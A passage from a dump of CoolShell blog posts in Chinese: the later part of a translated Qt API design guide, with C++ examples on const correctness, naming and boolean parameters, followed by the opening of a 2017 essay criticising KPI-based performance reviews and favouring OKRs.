C++语言参考](http://en.cppreference.com/w/cpp/language/cv)\n> \n> \n\n\n当在类类型（class type）右值上添加const关键字，则禁止访问非const成员函数以及对成员的直接操作。\n\n\n不加const则没有以上的限制，但几乎没有必要加上const，因为右值对象生存时间（life time）的结束一般在C++清理的时候（通俗的说，下一个分号地方），而对右值对象的修改随着右值对象的生存时间也一起结束了（也就是本条语句的执行完成的时候）。\n\n\n示例：\n\n\n[code language=”cpp”]  \n\nstruct Foo {  \n\n void setValue(int v) { value = v; }  \n\n int value;  \n\n};\n\n\nFoo foo() {  \n\n return Foo();  \n\n}\n\n\nconst Foo cfoo() {  \n\n return Foo();  \n\n}\n\n\nint main() {  \n\n // The following does compile, foo() is non-const R-value which  \n\n // can’t be assigned to (this generally requires an L-value)  \n\n // but member access leads to a L-value:  \n\n foo().value = 1; // Ok, but temporary will be thrown away at the end of the full-expression.\n\n\n // The following does compile, foo() is non-const R-value which  \n\n // can’t be assigned to, but calling (even non-const) member  \n\n // function is fine:  \n\n foo().setValue(1); // Ok, but temporary will be thrown away at the end of the full-expression.\n\n\n // The following does \\_not\\_compile, foo() is ”const” R-value  \n\n // with const member which member access can’t be assigned to:  \n\n cfoo().value = 1; // Not ok.\n\n\n // The following does \\_not\\_compile, foo() is ”const” R-value,  \n\n // one cannot call non-const member functions:  \n\n cfoo().setValue(1); // Not ok  \n\n}  \n\n[/code]\n\n\n\n> 【译注】：上述的代码说明，如果返回值不是const的，代码可以顺利编译通过，然而并没有什么卵用，因为那个临时对像马上就被抛弃了。所以，这样的无用的代码最好还是在编译时报个错，以免当时头脑发热想错了，写了一段没用但还以为有用的代码。\n> \n> \n\n\n### 4.3.3 返回值：非const的指针还是有const的指针\n\n\n谈到const函数应该返回非const的指针还是const指针这个话题时，多数人发现在C++中关于『const正确性』（const correctness）在概念上产生了分歧。 *问题起源是：**const函数本身不能修改对象自身的状态，却可以返回成员的非const指针**。返回指针这个简单动作本身既不会影响整个对象的可见状态，当然也不会改变这个函数职责范围内涉及的状态。但是，这却使得程序员可以间接访问并修改对象的状态。*\n\n\n下面的例子演示了通过返回非const指针的const函数绕开const约定（constness）的诸多方式中的一种：\n\n\n[code language=”cpp”]  \n\nQVariant CustomWidget::inputMethodQuery(Qt::InputMethodQuery query) const {  \n\n moveBy(10, 10); // doesn’t compile!  \n\n window()->childAt(mapTo(window(), rect().center()))->moveBy(10, 10); // compiles!  \n\n}  \n\n[/code]\n\n\n返回const指针的函数正是保护以避免这些（可能是不期望的/没有预料到的）副作用，至少是在一定程度上。但哪个函数你会觉得更想返回const指针，或是不止一个函数？\n\n\n若采用const正确（const-correct）的方法，每个返回某个成员的指针（或多个指向成员的指针）的const函数必须返回const指针。在实践中，很不幸这样的做法将导致无法使用的API：\n\n\n[code language=”cpp”]  \n\nQGraphicsScene scene;  \n\n// … populate scene\n\n\nforeach (const QGraphicsItem \\*item, scene.items()) {  \n\n item->setPos(qrand() % 500, qrand() % 500); // doesn’t compile! item is a const pointer  \n\n}  \n\n[/code]\n\n\n`QGraphicsScene::items()`是一个const函数，顺着思考看起来这个函数只应该返回const指针。\n\n\n在Qt中，我们几乎只有非const的使用模式。我们选择的是实用路子： 相比滥用非const指针返回类型带来的问题，返回const指针更可能招致过分使用const\\_cast的问题。\n\n\n### 4.3.4 返回值：按值返回 还是 按const引用返回？\n\n\n若返回的是对象的拷贝，那么返回const引用是更直接的方案； 然而，这样的做法限制了后面想要对这个类的重构（refactor）。 （以`d-point`的典型做法（idiom）为例，我们可以在任何时候改变Qt类在内存表示（memory representation）；但却不能在不破坏二进制兼容性的情况下把改变函数的签名，返回值从`const QFoo &`变为`QFoo`。） 基于这个原因，除去对运行速度敏感（speed is critical）而重构不是问题的个别情形（例如，`QList::at()`），我们一般返回`QFoo`而不是`const QFoo &`。\n\n\n\n> 【译注】：参看《Effective C++》中条款23：Don’t try to return a reference when you must return an object\n> \n> \n\n\n### 4.4.5 const vs. 对象的状态\n\n\nconst正确性（Const correctness）的问题就像C圈子中vi与emacs的讨论，因为这个话题在很多地方都存在分歧（比如基于指针的函数）。\n\n\n但通用准则是const函数不能改变类的可见状态。『状态』的意思是『自身以及涉及的职责』。这并不是指非const函数能够改变自身的私有成员，也不是指const函数改变不了。而是指函数是活跃的并存在可见的副作用（visible side effects）。const函数一般没有任何可见的副作用，比如：\n\n\n[code language=”cpp”]  \n\nQSize size = widget->sizeHint(); // const  \n\nwidget->move(10, 10); // not const  \n\n[/code]\n\n\n代理（delegate）负责在其它对象上绘制内容。 它的状态包括它的职责，因此包括在哪个对象做绘制这样的状态。 调用它的绘画行为必然会有副作用； 它改变了它绘制所在设备的外观（及其所关联的状态）。鉴于这些，`paint()`作为const函数并不合理。 进一步说，任何`paint()`或`QIcon`的`paint()`的视图函数是const函数也不合理。 没有人会从内部的const函数去调用`QIcon::paint()`，除非他想显式地绕开const这个特性。 如果是这种情况，使用const\\_cast会更好。\n\n\n[code language=”cpp”]  \n\n// QAbstractItemDelegate::paint is const  \n\nvoid QAbstractItemDelegate::paint(QPainter \\*\\*painter, const QStyleOptionViewItem &option, const QModelIndex &index) const\n\n\n// QGraphicsItem::paint is not const  \n\nvoid QGraphicsItem::paint(QPainter \\*painter, const QStyleOptionGraphicsItem option, QWidget \\*widget)  \n\n[/code]\n\n\nconst关键字并不能按你期望的样子起作用。应该考虑将其移除而不是去重载const/非const函数。\n\n\n5. API的语义和文档\n============\n\n\n当传值为`-1`的参数给函数，函数会是什么行为？有很多类似的问题……\n\n\n是警告、致命错误还是其它？\n\n\nAPI需要的是质量保证。API第一个版本一定是不对的；必须对其进行测试。 以阅读使用API的代码的方式编写用例，且验证这样代码是可读的。\n\n\n还有其他的验证方法，比如\n\n\n* 让别人使用API（看了文档或是先不看文档都可以）\n* 给类写文档（包含类的概述和每个函数）\n\n\n6. 命名的艺术\n========\n\n\n命名很可能是API设计中最重要的一个问题。类应该叫什么名字？成员函数应该叫什么名字？\n\n\n6.1 通用的命名规则\n-----------\n\n\n有几个规则对于所有类型的命名都等同适用。第一个，之前已经提到过，不要使用缩写。即使是明显的缩写，比如把`previous`缩写成`prev`，从长远来看是回报是负的，因为用户必须要记住缩写词的含义。\n\n\n如果API本身没有一致性，之后事情自然就会越来越糟；例如，Qt 3 中同时存在`activatePreviousWindow()`与`fetchPrev()`。恪守『不缩写』规则更容易地创建一致性的API。\n\n\n另一个时重要但更微妙的准则是在设计类时应该保持子类名称空间的干净。在Qt 3中，此项准则并没有一直遵循。以`QToolButton`为例对此进行说明。如果调用`QToolButton`的 `name()`、`caption()`、`text()`或者`textLabel()`，你觉得会返回什么？用Qt设计器在`QToolButton`上自己先试试吧：\n\n\n* `name`属性是继承自`QObject`，返回内部的对象名称，用于调试和测试。\n* `caption`属性继承自`QWidget`，返回窗口标题，对`QToolButton`来说毫无意义，因为它在创建的时候parent就存在了。\n* `text`函数继承自`QButton`，一般用于按钮。当`useTextLabel`不为`true`，才用这个属性。\n* `textLabel`属性在`QToolButton`内声明，当`useTextLabel`为`true`时显示在按钮上。\n\n\n为了可读性，在Qt 4中`QToolButton`的`name`属性改成了`objectName`，`caption`改成了`windowTitle`，删除了`textLabel`属性因为和`text`属性相同。\n\n\n当你找不到好的命名时，写文档也是个很好方法：要做的就是尝试为各个条目（item）（如类、方法、枚举值等等）写文档，并用写下的第一句话作为启发。如果找不到一个确切的命名，往往说明这个条目是不该有的。如果所有尝试都失败了，并且你坚信这个概念是合理的，那么就发明一个新名字。像widget、event、focus和buddy这些命名就是在这一步诞生的。\n\n\n\n> 【译注】：写文档是一个非常好的习惯。写文档的过程其实就是在帮你梳理你的编程思路。很多时候，文档写着写着你就会发现要去改代码去了。除了上述的好处多，写文档还有更多的好处。比如，在写文档的过程中，你发现文字描述过于复杂了，这表明着你的代码或逻辑是复杂的，这就倒逼你去重构你的代码。所以 —— **写文档其实就是写代码**。\n> \n> \n\n\n6.2 类的命名\n--------\n\n\n识别出类所在的分组，而不是为每个类都去找个完美的命名。例如，所有Qt 4的能感知模型（model-aware）的item view，类后缀都是`View`（`QListView`、`QTableView`、`QTreeView`），而相应的基于item（item-based）的类后缀是`Widget`（`QListWidget`、`QTableWidget`、`QTreeWidget`）。\n\n\n6.3 枚举类型及其值的命名\n--------------\n\n\n声明枚举类型时，需要记住在C++中枚举值在使用时不会带上类型（与Java、C#不同）。下面的例子演示了枚举值命名得过于通用的危害：\n\n\n[code language=”cpp”]  \n\nnamespace Qt  \n\n{  \n\n enum Corner { TopLeft, BottomRight, … };  \n\n enum CaseSensitivity { Insensitive, Sensitive };  \n\n …  \n\n};\n\n\ntabWidget->setCornerWidget(widget, Qt::TopLeft);  \n\nstr.indexOf(\"$(QTDIR)\", Qt::Insensitive);  \n\n[/code]\n\n\n在最后一行，`Insensitive`是什么意思？命名枚举类型的一个准则是在枚举值中至少重复此枚举类型名中的一个元素：\n\n\n[code language=”cpp”]  \n\nnamespace Qt  \n\n{  \n\n enum Corner { TopLeftCorner, BottomRightCorner, … };  \n\n enum CaseSensitivity { CaseInsensitive, CaseSensitive };  \n\n …  \n\n};\n\n\ntabWidget->setCornerWidget(widget, Qt::TopLeftCorner);  \n\nstr.indexOf(\"$(QTDIR)\", Qt::CaseInsensitive);  \n\n[/code]\n\n\n当对枚举值进行或运算并作为某种标志（flag）时，传统的做法是把或运算的结果保存在int型的值中，但这不是类型安全的。Qt 4提供了一个模板类`QFlags`，其中的`T`是枚举类型。为了方便使用，Qt用`typedef`重新定义了`QFlag`类型，所以可以用`Qt::Alignment`代替`QFlags`。\n\n\n习惯上，枚举类型命名用单数形式（因为它一次只能『持有』一个flag），而持有多个『flag』的类型用复数形式，例如：\n\n\n[code language=”cpp”]  \n\nenum RectangleEdge { LeftEdge, RightEdge, … };  \n\ntypedef QFlags<RectangleEdge> RectangleEdges;  \n\n[/code]\n\n\n在某些情形下，持有多个『flag』的类型命名用单数形式。对于这种情况，持有的枚举类型名称要求是以`Flag`为后缀：\n\n\n[code language=”cpp”]  \n\nenum AlignmentFlag { AlignLeft, AlignTop, … };  \n\ntypedef QFlags<AlignmentFlag> Alignment;  \n\n[/code]\n\n\n6.4 函数和参数的命名\n------------\n\n\n函数命名的第一准则是可以从函数名看出来此函数是否有副作用。在Qt 3中，const函数`QString::simplifyWhiteSpace()`违反了此准则，因为它返回了一个`QString`而不是按名称暗示的那样，改变调用它的`QString`对象。在Qt 4中，此函数重命名为`QString::simplified()`。\n\n\n虽然参数名不会出现在使用API的代码中，但是它们给程序员提供了重要信息。因为现代的IDE都会在写代码时显示参数名称，所以值得在头文件中给参数起一个恰当的名字并在文档中使用相同的名字。\n\n\n6.5 布尔类型的getter与setter方法的命名\n---------------------------\n\n\n为`bool`属性的getter和setter方法命名总是很痛苦。getter应该叫做`checked()`还是`isChecked()`？`scrollBarsEnabled()`还是`areScrollBarEnabled()`？\n\n\nQt 4中，我们套用以下准则为getter命名：\n\n\n* 形容词以`is`为前缀，例子：\n\t+ `isChecked()`\n\t+ `isDown()`\n\t+ `isEmpty()`\n\t+ `isMovingEnabled()`\n* 然而，修饰名词的形容词没有前缀：\n\t+ `scrollBarsEnabled()`，而不是`areScrollBarsEnabled()`\n* 动词没有前缀，也不使用第三人称(`-s`)：\n\t+ `acceptDrops()`，而不是`acceptsDrops()`\n\t+ `allColumnsShowFocus()`\n* 名词一般没有前缀：\n\t+ `autoCompletion()`，而不是`isAutoCompletion()`\n\t+ `boundaryChecking()`\n* 有的时候，没有前缀容易产生误导，这种情况下会加上`is`前缀：\n\t+ `isOpenGLAvailable()`，而不是`openGL()`\n\t+ `isDialog()`，而不是`dialog()`  \n\t\n\t（一个叫做`dialog()`的函数，一般会被认为是返回`QDialog`。）\n\n\nsetter的名字由getter衍生，去掉了前缀后在前面加上了`set`；例如，`setDown()`与`setScrollBarsEnabled()`。\n\n\n7. 避免常见陷阱\n=========\n\n\n7.1 简化的陷阱\n---------\n\n\n一个常见的误解是：实现需要写的代码越少，API就设计得越好。应该记住：代码只会写上几次，却要被反复阅读并理解。例如：\n\n\n[code language=”cpp”]  \n\nQSlider \\*slider = new QSlider(12, 18, 3, 13, Qt::Vertical, 0, \"volume\");  \n\n[/code]\n\n\n这段代码比下面的读起来要难得多（甚至写起来也更难）：\n\n\n[code language=”cpp”]  \n\nQSlider \\*slider = new QSlider(Qt::Vertical);  \n\nslider->setRange(12, 18);  \n\nslider->setPageStep(3);  \n\nslider->setValue(13);  \n\nslider->setObjectName(\"volume\");  \n\n[/code]\n\n\n\n> 【译注】：在有IDE的自动提示的支持下，后者写起来非常方便，而前者还需要看相应的文档。\n> \n> \n\n\n7.2 布尔参数的陷阱\n-----------\n\n\n布尔类型的参数总是带来无法阅读的代码。给现有的函数增加一个`bool`型的参数几乎永远是一种错误的行为。仍以Qt为例，`repaint()`有一个`bool`类型的可选参数用于指定背景是否被擦除。可以写出这样的代码：\n\n\n[code language=”cpp”]  \n\nwidget->repaint(false);  \n\n[/code]\n\n\n初学者很可能是这样理解的，『不要重新绘制！』，能有多少Qt用户真心知道下面3行是什么意思：\n\n\n[code language=”cpp”]  \n\nwidget->repaint();  \n\nwidget->repaint(true);  \n\nwidget->repaint(false);  \n\n[/code]\n\n\n更好的API设计应该是这样的：\n\n\n[code language=”cpp”]  \n\nwidget->repaint();  \n\nwidget->repaintWithoutErasing();  \n\n[/code]\n\n\n在Qt 4中，我们通过移除了重新绘制（repaint）而不擦除widget的能力来解决了此问题。Qt 4的双缓冲使这种特性被废弃。\n\n\n还有更多的例子：\n\n\n[code language=”cpp”]  \n\nwidget->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding, true);  \n\ntextEdit->insert(\"Where’s Waldo?\", true, true, false);  \n\nQRegExp rx(\"moc\\_\\*\\*\\*.c??\", false, true);  \n\n[/code]\n\n\n一个明显的解决方案是`bool`类型改成枚举类型。我们在Qt 4的`QString`中就是这么做的。对比效果如下：\n\n\n[code language=”cpp”]  \n\nstr.replace(\"%USER%\", user, false); // Qt 3  \n\nstr.replace(\"%USER%\", user, Qt::CaseInsensitive); // Qt 4  \n\n[/code]\n\n\n\n> 【译注】：关于这个条目可以看看 CoolShell 这篇文章一些展开的讨论： [千万不要把 BOOL 设计成函数参数](https://coolshell.cn/articles/5444.html)。\n> \n> \n\n\n8. 案例研究\n=======\n\n\n8.1 `QProgressBar`\n------------------\n\n\n为了展示上文各种准则的实际应用。我们来研究一下Qt 3中`QProgressBar`的API，并与Qt 4中对应的API作比较。在Qt 3中：\n\n\n[code language=”cpp”]  \n\nclass QProgressBar : public QWidget  \n\n{  \n\n …  \n\npublic:  \n\n int totalSteps() const;  \n\n int progress() const;\n\n\n const QString &progressString() const;  \n\n bool percentageVisible() const;  \n\n void setPercentageVisible(bool);\n\n\n void setCenterIndicator(bool on);  \n\n bool centerIndicator() const;\n\n\n void setIndicatorFollowsStyle(bool);  \n\n bool indicatorFollowsStyle() const;\n\n\npublic slots:  \n\n void reset();  \n\n virtual void setTotalSteps(int totalSteps);  \n\n virtual void setProgress(int progress);  \n\n void setProgress(int progress, int totalSteps);\n\n\nprotected:  \n\n virtual bool setIndicator(QString &progressStr,  \n\n int progress,  \n\n int totalSteps);  \n\n …  \n\n};  \n\n[/code]\n\n\n该API相当的复杂和不一致；例如，`reset()`、`setTotalSteps()`、`setProgress()`是紧密联系的，但方法的命名并没明确地表达出来。\n\n\n改善此API的关键是抓住`QProgressBar`与Qt 4的`QAbstractSpinBox`及其子类`QSpinBox`、`QSlider`、`QDail`之间的相似性。怎么做？把`progress`、`totalSteps`替换为`minimum`、`maximum`和`value`。增加一个`valueChanged()`消息，再增加一个`setRange()`函数。\n\n\n进一步可以观察到`progressString`、`percentage`与`indicator`其实是一回事，即是显示在进度条上的文本。通常这个文本是个百分比，但是可通过`setIndicator()`设置为任何内容。以下是新的API：\n\n\n[code language=”cpp”]  \n\nvirtual QString text() const;  \n\nvoid setTextVisible(bool visible);  \n\nbool isTextVisible() const;  \n\n[/code]\n\n\n默认情况下，显示文本是百分比指示器（percentage indicator），通过重写`text()`方法来定制行为。\n\n\nQt 3的`setCenterIndicator()`与`setIndicatorFollowsStyle()`是两个影响对齐方式的函数。他们可被一个`setAlignment()`函数代替：\n\n\n[code language=”cpp”]  \n\nvoid setAlignment(Qt::Alignment alignment);  \n\n[/code]\n\n\n如果开发者未调用`setAlignment()`，那么对齐方式由风格决定。对于基于`Motif`的风格，文字内容在中间显示；对于其他风格，在右侧显示。\n\n\n下面是改善后的`QProgressBar API`:\n\n\n[code language=”cpp”]  \n\nclass QProgressBar : public QWidget  \n\n{  \n\n …  \n\npublic:  \n\n void setMinimum(int minimum);  \n\n int minimum() const;  \n\n void setMaximum(int maximum);  \n\n int maximum() const;  \n\n void setRange(int minimum, int maximum);  \n\n int value() const;\n\n\n virtual QString text() const;  \n\n void setTextVisible(bool visible);  \n\n bool isTextVisible() const;  \n\n Qt::Alignment alignment() const;  \n\n void setAlignment(Qt::Alignment alignment);\n\n\npublic slots:  \n\n void reset();  \n\n void setValue(int value);\n\n\nsignals:  \n\n void valueChanged(int value);  \n\n …  \n\n};  \n\n[/code]\n\n\n8.2 `QAbstractPrintDialog` & `QAbstractPageSizeDialog`\n------------------------------------------------------\n\n\nQt 4.0有2个幽灵类`QAbstractPrintDialog`和`QAbstractPageSizeDialog`，作为 `QPrintDialog`和`QPageSizeDialog`类的父类。这2个类完全没有用，因为Qt的API没有是`QAbstractPrint-`或是`-PageSizeDialog`指针作为参数并执行操作。通过篡改qdoc（Qt文档），我们虽然把这2个类隐藏起来了，却成了无用抽象类的典型案例。\n\n\n这不是说，***好*** 的抽象是错的，`QPrintDialog`应该是需要有个工厂或是其它改变的机制 —— 证据就是它声明中的`#ifdef QTOPIA_PRINTDIALOG`。\n\n\n8.3 `QAbstractItemModel`\n------------------------\n\n\n关于模型/视图（model/view）问题的细节在相应的文档中已经说明得很好了，但作为一个重要的总结这里还需要强调一下：抽象类不应该仅是所有可能子类的并集（union）。这样『合并所有』的父类几乎不可能是一个好的方案。`QAbstractItemModel`就犯了这个错误 —— 它实际上就是个`QTreeOfTablesModel`，结果导致了错综复杂（complicated）的API，而这样的API要让 ***所有本来设计还不错的子类*** 去继承。\n\n\n仅仅增加抽象是不会自动就把API变得更好的。\n\n\n8.4 `QLayoutIterator` & `QGLayoutIterator`\n------------------------------------------\n\n\n在Qt 3，创建自定义的布局类需要同时继承`QLayout`和`QGLayoutIterator`（命名中的`G`是指Generic（通用））。`QGLayoutIterator`子类的实例指针会包装成`QLayoutIterator`，这样用户可以像和其它的迭代器（iterator）类一样的方式来使用。通过`QLayoutIterator`可以写出下面这样的代码：\n\n\n[code language=”cpp”]  \n\nQLayoutIterator it = layout()->iterator();  \n\nQLayoutItem \\*\\*child;  \n\nwhile ((child = it.current()) != 0) {  \n\n if (child->widget() == myWidget) {  \n\n it.takeCurrent();  \n\n return;  \n\n }  \n\n ++it;  \n\n}  \n\n[/code]\n\n\n在Qt 4，我们干掉了`QGLayoutIterator`类（以及用于盒子布局和格子布局的内部子类），转而是让`QLayout`的子类重写`itemAt()`、`takeAt()`和`count()`。\n\n\n8.5 `QImageSink`\n----------------\n\n\nQt 3有一整套类用来把完成增量加载的图片传递给一个动画 —— `QImageSource`/`Sink`/`QASyncIO`/`QASyncImageIO`。由于这些类之前只是用于启用动画的`QLabel`，完全过度设计了（overkill）。\n\n\n从中得到的教训就是：对于那些未来可能的还不明朗的需求，不要过早地增加抽象设计。当需求真的出现时，比起一个复杂的系统，在简单的系统新增需求要容易得多。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-7-9 我看绩效考核.md",
    "content": "---\nlayout: post\ntitle: 我看绩效考核\ndate: 2017/7/9/ 10:3:0\nupdated: 2017/7/9/ 10:3:0\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/07/performance_review-360x200.jpg)（本来，这篇文章应该在5月份完成，我拖延症让我今天才完成）\n\n\n前些天，有几个网友找我谈绩效考核的事，都是在绩效上被差评的朋友。在大致了解情况后，我发现他们感到沮丧和郁闷的原因，不全是自己没有做好事情，他们对于自己没有做好公司交给的事，一方面，持一些疑义，因为我很明显地感到他们和公司对一件是否做好的标准定义有误差，另一方面，他们对于自己的工作上的问题也承认。不过，让他们更多感到沮丧的原因则是，公司、经理或HR和他们的谈话，让他们感觉整个人都被完全否定了，甚至有一种被批斗的感觉。这个感觉实在是太糟糕了。\n\n\n因为我也有相似的经历，所以，我想在这里写下一篇文章，谈谈自己的对一些绩效考核的感受。先放出我的两个观点：\n\n\n**1）制定目标和绩效，目的不是用来考核人的，而用来改善提高组织和人员业绩和效率的。**\n\n\n**2）人是复杂的，人是有状态波动的，任何时候都不应该轻易否定人，绩效考核应该考核的是事情，而不是人。**\n\n\n我个人比较坚持的认为——**绩效分应该打给项目，打给产品，打给部门，打给代码，而不是打给人。**然而现在的管理体制基本上都是打给人，而很多根本不擅长管理的经理和HR以及很多不会独立思考的吃瓜群众基本上都会把矛头指向个人，所以，当然会有开批斗会的感觉。\n\n\n\n \n\n\n#### 举几个例子\n\n\n为了讲清楚我的上述观点，请让我先铺垫一下，先说几个例子吧，韩寒的例子我就不说了。\n\n\n苏步青同学在小学时成绩很糟糕，全班倒数第一。\n\n\n华罗庚同学上学时数学还考不及格，要不是王维克老师的鼓励并让他爱上了数学，他可能也就完全埋没了。\n\n\n郑渊洁上学时，老师要求写《早起的鸟有虫子吃》，郑渊洁唱反调写《早起的虫子被鸟吃》，再加上数学老师发难，于是被开除了。从此郑渊洁没有上过一天学。\n\n\n列夫尔斯泰大贵族出身，2岁丧母，9岁丧父，16岁上大学，大学三年级自动退学回家进行改革。在青年时期不好好读书，考试不及格，留级。他赌博、借债、鬼混……\n\n\n这个的例子太多了，我从另一个方面举几个体育运动相关的例子，可能年轻的朋友都不知道，可以问问你们的父母。\n\n\n80年代，中国有一批非常优秀的体育运动员，比如：体操王子李宁，打破过世界跳高记录的朱建华，还有乒乓球世界冠军马文革，还有羽毛球世界冠军赵建华，记得有一年参加世界比赛，他们全输了，而输的还很惨。于是国内的一些媒体和民众开始骂他们，甚至说他们是民族的败类、耻辱，还有很多人找上门要教训他们……\n\n\n如果我们把绩效分比做在学校里的考试分，那么你是否会和我一样认为，考试的成绩只能代表这个人对这些知识点的掌握或理解，而且仅仅在这个时间点，根本不代表这个人根本就不行，更不代表他一直不行。因为挂科太多被学校开除的同学，并不见得这些人在社会上就无活生活下去，反而，他们中的有些人可能会考试成绩好的人还活得好。不是么？这样的例子在我们身边还少吗？\n\n\n所以，当我看到某HR说某老员工——“他今天要不自己离开，未来一年也一定会因为绩效问题而被公司开了的”，除了感到居然有人类可以预知他人未来的可笑之外，我感到是一种悲哀，一种管理体制上的悲哀，我感到了在这HR考评背后一股非常强的暗流和不可见的力量让她干出了这样一件匪夷所思的事。\n\n\n好些公司还考评价值观，价值观无可厚非，**我觉得一个企业的价值观是非常必要的，但是考核价值观是件非常危险的事情。**这个世界上和传统势力唱反调的人实在是太多了，而被定性为价值观有问题被迫害的人也是多了去了。被批斗被侮辱被毒打的老舍；因为同性恋问题，被迫害而自杀的图灵；因为不同意教会观点被监禁8年都不愿意放弃自己的信仰最终被烧死的布鲁诺，…… 这样的事情已经够多了，新的时代里不应该再发生这样的事了，无论大小。\n\n\n考核价值观最大的问题就是非常容易的上纲上线，也非常容易的被制造政治斗争，也非常容易的扼杀各种不同思想，老实说，这从很大程度上是一种洗脑的手段——通过对人制造一种紧张或恐惧而达到控制思想的目的。\n\n\n \n\n\n#### 对公司和管理者想说的话\n\n\n下面我来谈谈绩效考核我的一些观点。在谈这个观点前，你可以移步看一下这篇新闻报道——《[绩效主义毁了索尼](http://tech.qq.com/a/20120614/000196.htm)》。而近年来，“放弃绩效考核”的斗争已经从科技企业中的Adobe、戴尔、微软、亚马逊，席卷到德勤、埃森哲、普华永道等咨询服务类企业。甚至通用电气（GE）——曾经的绩效管理的鼻祖，也宣布抛弃正式的年度绩效考核。在刚过去的2016年，腾讯的张小龙对微信事业群发出“警惕KPI”的呼声；李彦宏在内部信中将百度的掉队归咎于“从管理层到员工对短期KPI的追逐”；雷军干脆宣布小米“继续坚持‘去KPI’的战略，放下包袱，解掉绳索，开开心心地做事。”；王石也在个人微博中感慨：“绩效主义像企业的脓包”。\n\n\n绩效考核在本质上就是像学校教育以分数论英雄，而忽略员工的成长和素质教育是一个道理。当学生和老师只关注考试分数时，而只有考试分数来评价老师和学生的优良中差时，老师和学生就会开始使用一些非常形式的方式来达到这个目标，比如：死记硬被，记套路，题海战术…… 而学习的能力的考评彻底地沦为了一种形式主义。反而，分数考的越高，脑子越死。（注：美国现行教育是不允许通过学生考试成绩来评价老师的能力的）\n\n\n近几年来，一些大公司开始使用 OKR – Objectives, Key Result ，但是在实践过程中，我发现好些公司用OKR，本质上还是KPI – Key Performance Indicator， 因为OKR里面有一个Key Result，用来衡量 Objectives 的结果指标。于是，使用者习惯性的设置上了KPI。**我个人认为 OKR 有三个非常大的特性：0）由员工提出，1）以目标为导向。2）全员共享。**\n\n\n举个例子，OKR可能会是制定成下面这个样子的：\n\n\nObjectives：增强用户体验，\n\n\nKey Results：\n\n\n1）用户操作步骤减少20%以上，\n\n\n2）客服减少40%以上工单，\n\n\n3）用户99.9%的系统操作的响应时间为100ms以下\n\n\n然后，把这个目标分解给产品、用户体验、技术团队，形成子的Objectives并关连上相应的父级的Key Result，比如，产品部门定义的Objectives：1）优化注册流程，减少2个步骤，2）优化红包算法，让用户更容易理解，3）提高商品质量，减少用户投诉。后端技术团队定义的Objectives： 1）定义SLA以及相关监控指标，2）自动化运维，减少故障恢复时间，3）提高性能，吞吐量在xxxqps下的99.9%的响应时间为xxms ……\n\n\n这个Objective会从公司最高层一直分解到一线员工，信息完全透明，每个人都可以看到所有人被分解到目标，每个人都知道自己在为什么样的目标而奋头，而每个人也可以质疑，改进，建议调整最高层的目标和方向。而不是领到的是被层层消化过的变味的二手，三手甚至四五手的信息。\n\n\n**而 KPI 最大的问题就是用 OKR 里的 Key Results 拿来当目标，从而导致员工只知道要做什么，不知道为什么，不知道为什么，不能理解目标，工作也就成了实实在在的应付！**\n\n\n松下公司早在1933年，就召集168名员工，把松下未来250年的远景规划目标公布于众，从1956年开始，就定期宣布并解读自身的“五年计划”，帮助每位员工的目光从眼前的短期利益移开，树立自己的理想和目标，也促进了松下的可持续性发展。\n\n\n然而，今时不同往昔，随着产品周期的不断缩减、竞争对手的持续涌入、高新技术的频频迭代，企业的战略的变化与调整变得更加频繁，朝令夕改的经营策略已经成为兵家常态。 在这一过程中，有多少员工了解调整之后的战略呢？员工的绩效指标又根据战略调整多少次了呢？\n\n\n**KPI本身是一种被动的、后置的考察，在工作完成之后考察员工的行为是否符合标准。因此，员工对于公司的目标漠不关心，只关心自己的KPI，因为这才是自己的最大的利益，为了达到KPI，有的员工开始不思考，并使用一些简单粗暴的玩法，其实这样既害了公司，也害了自己。自己的成长和进步也因为强大的 KPI 而抛在了脑后。**\n\n\n**当然，KPI 绩效考核一般来说，不一定会毁掉公司的，相反，对于喜欢使用蛮力的劳动密集型的公司来说，可能还有所帮助，然而，KPI毁掉的一定是团队的文化和团队的挑战精神，以及创新和对事业的热情，甚至会让其中的人失去应有的正常的判断力（分不清充分和必要条件，分不清很多事的因果关系）。**\n\n\n \n\n\n#### 